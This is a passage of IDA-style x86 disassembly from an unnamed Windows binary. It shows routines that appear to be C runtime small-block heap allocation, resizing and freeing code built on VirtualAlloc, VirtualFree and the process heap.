		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_4281C8	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41EDE8
		or	eax, 0FFFFFFFFh
		jmp	loc_41EE7B
; ---------------------------------------------------------------------------


loc_41EDE8:				; CODE XREF: sub_41ED85+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EE2E
		lea	eax, [edi+10h]


loc_41EDF5:				; CODE XREF: sub_41ED85+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EDF5


loc_41EE2E:				; CODE XREF: sub_41ED85+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EE6B
		or	[eax+4], edi


loc_41EE6B:				; CODE XREF: sub_41ED85+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41EE7B:				; CODE XREF: sub_41ED85+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ED85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE80	proc near		; CODE XREF: sub_41B9D2+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41F02E
		test	bl, 1
		jnz	loc_41F027
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41F027
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41EEF7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41EEF7:				; CODE XREF: sub_41EE80+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EF47
		cmp	ecx, 20h
		jnb	short loc_41EF23
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EF47
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EF47
; ---------------------------------------------------------------------------


loc_41EF23:				; CODE XREF: sub_41EE80+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EF47
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EF47:				; CODE XREF: sub_41EE80+7Dj
					; sub_41EE80+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41F015
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41EF81
		push	3Fh
		pop	edi


loc_41EF81:				; CODE XREF: sub_41EE80+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41F003
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41EFDA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41EFCD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41EFCD:				; CODE XREF: sub_41EE80+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41EFFF
; ---------------------------------------------------------------------------


loc_41EFDA:				; CODE XREF: sub_41EE80+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41EFF0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41EFF0:				; CODE XREF: sub_41EE80+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41EFFF:				; CODE XREF: sub_41EE80+158j
		shr	edx, cl
		or	[eax], edx


loc_41F003:				; CODE XREF: sub_41EE80+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41F018
; ---------------------------------------------------------------------------


loc_41F015:				; CODE XREF: sub_41EE80+E5j
		mov	edx, [ebp+arg_4]


loc_41F018:				; CODE XREF: sub_41EE80+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41F16E
; ---------------------------------------------------------------------------


loc_41F027:				; CODE XREF: sub_41EE80+52j
					; sub_41EE80+5Cj
		xor	eax, eax
		jmp	loc_41F171
; ---------------------------------------------------------------------------


loc_41F02E:				; CODE XREF: sub_41EE80+49j
		jge	loc_41F16E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41F059
		push	3Fh
		pop	esi


loc_41F059:				; CODE XREF: sub_41EE80+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41F0E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F072
		push	3Fh
		pop	esi


loc_41F072:				; CODE XREF: sub_41EE80+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41F0C1
		cmp	esi, 20h
		jnb	short loc_41F09D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41F0BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41F0BE
; ---------------------------------------------------------------------------


loc_41F09D:				; CODE XREF: sub_41EE80+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41F0BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41F0BE:				; CODE XREF: sub_41EE80+214j
					; sub_41EE80+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41F0C1:				; CODE XREF: sub_41EE80+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F0E8
		push	3Fh
		pop	esi


loc_41F0E8:				; CODE XREF: sub_41EE80+1DDj
					; sub_41EE80+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41F165
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41F13C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F12F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41F12F:				; CODE XREF: sub_41EE80+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41F161
; ---------------------------------------------------------------------------


loc_41F13C:				; CODE XREF: sub_41EE80+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F152
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41F152:				; CODE XREF: sub_41EE80+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41F161:				; CODE XREF: sub_41EE80+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41F165:				; CODE XREF: sub_41EE80+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41F16E:				; CODE XREF: sub_41EE80+1A2j
					; sub_41EE80:loc_41F02Ej
		push	1
		pop	eax


loc_41F171:				; CODE XREF: sub_41EE80+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE80	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F176	proc near		; CODE XREF: sub_41E5D2+41p
					; sub_41F46E:loc_41F63Dp
		cmp	dword_43CFD0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41F18A
		mov	esi, offset off_43CFC0
		jmp	short loc_41F1A7
; ---------------------------------------------------------------------------


loc_41F18A:				; CODE XREF: sub_41F176+Bj
		push	2020h
		push	0
		push	dword_4DF6C4
		call	dword_428148	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_41F2B3


loc_41F1A7:				; CODE XREF: sub_41F176+12j
		mov	ebp, dword_4281C8
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_41F29C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp	; VirtualAlloc
		test	eax, eax
		jz	loc_41F28E
		mov	eax, offset off_43CFC0
		cmp	esi, eax
		jnz	short loc_41F206
		cmp	off_43CFC0, 0
		jnz	short loc_41F1F6
		mov	off_43CFC0, eax


loc_41F1F6:				; CODE XREF: sub_41F176+79j
		cmp	off_43CFC4, 0
		jnz	short loc_41F21B
		mov	off_43CFC4, eax
		jmp	short loc_41F21B
; ---------------------------------------------------------------------------


loc_41F206:				; CODE XREF: sub_41F176+70j
		mov	[esi], eax
		mov	eax, off_43CFC4
		mov	[esi+4], eax
		mov	off_43CFC4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41F21B:				; CODE XREF: sub_41F176+87j
					; sub_41F176+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41F23D:				; CODE XREF: sub_41F176+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41F23D
		push	ebx
		push	0
		push	edi
		call	sub_41BD60
		add	esp, 0Ch


loc_41F266:				; CODE XREF: sub_41F176+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41F28A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41F266
; ---------------------------------------------------------------------------


loc_41F28A:				; CODE XREF: sub_41F176+F7j
		mov	eax, esi
		jmp	short loc_41F2B5
; ---------------------------------------------------------------------------


loc_41F28E:				; CODE XREF: sub_41F176+63j
		push	8000h
		push	0
		push	edi
		call	dword_4281C4	; VirtualFree


loc_41F29C:				; CODE XREF: sub_41F176+4Bj
		cmp	esi, offset off_43CFC0
		jz	short loc_41F2B3
		push	esi
		push	0
		push	dword_4DF6C4
		call	dword_428144	; RtlFreeHeap


loc_41F2B3:				; CODE XREF: sub_41F176+2Bj
					; sub_41F176+12Cj
		xor	eax, eax


loc_41F2B5:				; CODE XREF: sub_41F176+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F176	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F2BA	proc near		; CODE XREF: sub_41F310+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	dword_4281C4	; VirtualFree
		cmp	off_43EFE0, esi
		jnz	short loc_41F2DF
		mov	eax, [esi+4]
		mov	off_43EFE0, eax


loc_41F2DF:				; CODE XREF: sub_41F2BA+1Bj
		cmp	esi, offset off_43CFC0
		jz	short loc_41F307
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DF6C4
		call	dword_428144	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F307:				; CODE XREF: sub_41F2BA+2Bj
		or	dword_43CFD0, 0FFFFFFFFh
		pop	esi
		retn
sub_41F2BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F310	proc near		; CODE XREF: sub_41F429+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43CFC4
		push	edi


loc_41F31D:				; CODE XREF: sub_41F310+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41F3BB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41F336:				; CODE XREF: sub_41F310+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41F377
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	dword_4281C4	; VirtualFree
		test	eax, eax
		jz	short loc_41F377
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DE0AC
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41F36C
		cmp	eax, edi
		jbe	short loc_41F36F


loc_41F36C:				; CODE XREF: sub_41F310+56j
		mov	[esi+0Ch], edi


loc_41F36F:				; CODE XREF: sub_41F310+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41F384


loc_41F377:				; CODE XREF: sub_41F310+2Cj
					; sub_41F310+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41F336


loc_41F384:				; CODE XREF: sub_41F310+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41F3BB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41F3BB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41F39B:				; CODE XREF: sub_41F310+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41F3AC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41F39B


loc_41F3AC:				; CODE XREF: sub_41F310+8Ej
		cmp	edx, 400h
		jnz	short loc_41F3BB
		push	ecx
		call	sub_41F2BA
		pop	ecx


loc_41F3BB:				; CODE XREF: sub_41F310+11j
					; sub_41F310+7Dj ...
		cmp	esi, off_43CFC4
		jz	short loc_41F3CD
		cmp	[ebp+arg_0], 0
		jg	loc_41F31D


loc_41F3CD:				; CODE XREF: sub_41F310+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F310	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F3D2	proc near		; CODE XREF: sub_41B881+3Ap
					; sub_41B9D2+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43CFC0
		push	esi
		mov	ecx, edx


loc_41F3DE:				; CODE XREF: sub_41F3D2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41F3E8
		cmp	eax, [ecx+14h]
		jb	short loc_41F3F0


loc_41F3E8:				; CODE XREF: sub_41F3D2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41F425
		jmp	short loc_41F3DE
; ---------------------------------------------------------------------------


loc_41F3F0:				; CODE XREF: sub_41F3D2+14j
		test	al, 0Fh
		jnz	short loc_41F425
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41F425
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41F425:				; CODE XREF: sub_41F3D2+1Aj
					; sub_41F3D2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41F3D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F429	proc near		; CODE XREF: sub_41B881+4Dp
					; sub_41B9D2+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41F46D
		inc	dword_4DE0AC
		cmp	dword_4DE0AC, 20h
		jnz	short locret_41F46D
		push	10h
		call	sub_41F310
		pop	ecx

locret_41F46D:				; CODE XREF: sub_41F429+2Bj
					; sub_41F429+3Aj
		retn
sub_41F429	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F46E	proc near		; CODE XREF: sub_41B9D2+1ACp
					; sub_41BCE3+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43EFE0
		push	edi


loc_41F47C:				; CODE XREF: sub_41F46E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41F527
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41F4E1


loc_41F4A7:				; CODE XREF: sub_41F46E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41F4CA
		cmp	[edi+4], ebx
		jbe	short loc_41F4CA
		push	ebx
		push	ecx
		push	eax
		call	sub_41F676
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F539
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41F4CA:				; CODE XREF: sub_41F46E+40j
					; sub_41F46E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41F4A7
		jmp	short loc_41F4E4
; ---------------------------------------------------------------------------


loc_41F4E1:				; CODE XREF: sub_41F46E+37j
		mov	ebx, [ebp+arg_0]


loc_41F4E4:				; CODE XREF: sub_41F46E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41F52A


loc_41F4F7:				; CODE XREF: sub_41F46E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41F516
		cmp	[edi+4], ebx
		jbe	short loc_41F516
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41F676
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F539
		mov	[edi+4], ebx


loc_41F516:				; CODE XREF: sub_41F46E+8Dj
					; sub_41F46E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41F4F7
		jmp	short loc_41F52A
; ---------------------------------------------------------------------------


loc_41F527:				; CODE XREF: sub_41F46E+14j
		mov	ebx, [ebp+arg_0]


loc_41F52A:				; CODE XREF: sub_41F46E+87j
					; sub_41F46E+B7j
		mov	esi, [esi]
		cmp	esi, off_43EFE0
		jz	short loc_41F549
		jmp	loc_41F47C
; ---------------------------------------------------------------------------


loc_41F539:				; CODE XREF: sub_41F46E+54j
					; sub_41F46E+A3j
		mov	off_43EFE0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41F671
; ---------------------------------------------------------------------------


loc_41F549:				; CODE XREF: sub_41F46E+C4j
		mov	eax, offset off_43CFC0
		mov	edi, eax


loc_41F550:				; CODE XREF: sub_41F46E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41F55C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41F568


loc_41F55C:				; CODE XREF: sub_41F46E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41F63D
		jmp	short loc_41F550
; ---------------------------------------------------------------------------


loc_41F568:				; CODE XREF: sub_41F46E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41F597


loc_41F586:				; CODE XREF: sub_41F46E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41F597
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F586


loc_41F597:				; CODE XREF: sub_41F46E+116j
					; sub_41F46E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	dword_4281C8	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_41F66F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41BD60
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41F5FE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41F5D4:				; CODE XREF: sub_41F46E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41F5D4


loc_41F5FE:				; CODE XREF: sub_41F46E+15Ej
		mov	off_43EFE0, edi
		lea	eax, [edi+2018h]


loc_41F60A:				; CODE XREF: sub_41F46E+1A8j
		cmp	ecx, eax
		jnb	short loc_41F61A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41F618
		add	ecx, 8
		jmp	short loc_41F60A
; ---------------------------------------------------------------------------


loc_41F618:				; CODE XREF: sub_41F46E+1A3j
		cmp	ecx, eax


loc_41F61A:				; CODE XREF: sub_41F46E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41F671
; ---------------------------------------------------------------------------


loc_41F63D:				; CODE XREF: sub_41F46E+F2j
		call	sub_41F176
		test	eax, eax
		jz	short loc_41F66F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43EFE0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41F671
; ---------------------------------------------------------------------------


loc_41F66F:				; CODE XREF: sub_41F46E+143j
					; sub_41F46E+1D6j
		xor	eax, eax


loc_41F671:				; CODE XREF: sub_41F46E+D6j
					; sub_41F46E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F46E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F676	proc near		; CODE XREF: sub_41F46E+4Ap
					; sub_41F46E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41F6BB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41F6AA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41F6B3
; ---------------------------------------------------------------------------


loc_41F6AA:				; CODE XREF: sub_41F676+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F6B3:				; CODE XREF: sub_41F676+32j
		lea	eax, [edi+8]
		jmp	loc_41F789
; ---------------------------------------------------------------------------


loc_41F6BB:				; CODE XREF: sub_41F676+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41F6C4
		mov	eax, esi


loc_41F6C4:				; CODE XREF: sub_41F676+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41F70E


loc_41F6CB:				; CODE XREF: sub_41F676+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41F701
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41F6D7:				; CODE XREF: sub_41F676+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F6E0
		inc	ebx
		inc	esi
		jmp	short loc_41F6D7
; ---------------------------------------------------------------------------


loc_41F6E0:				; CODE XREF: sub_41F676+64j
		cmp	esi, edx
		jnb	short loc_41F732
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F6EE
		mov	[ecx+4], esi
		jmp	short loc_41F6FA
; ---------------------------------------------------------------------------


loc_41F6EE:				; CODE XREF: sub_41F676+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41F793


loc_41F6FA:				; CODE XREF: sub_41F676+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41F706
; ---------------------------------------------------------------------------


loc_41F701:				; CODE XREF: sub_41F676+59j
		movzx	esi, bl
		add	eax, esi


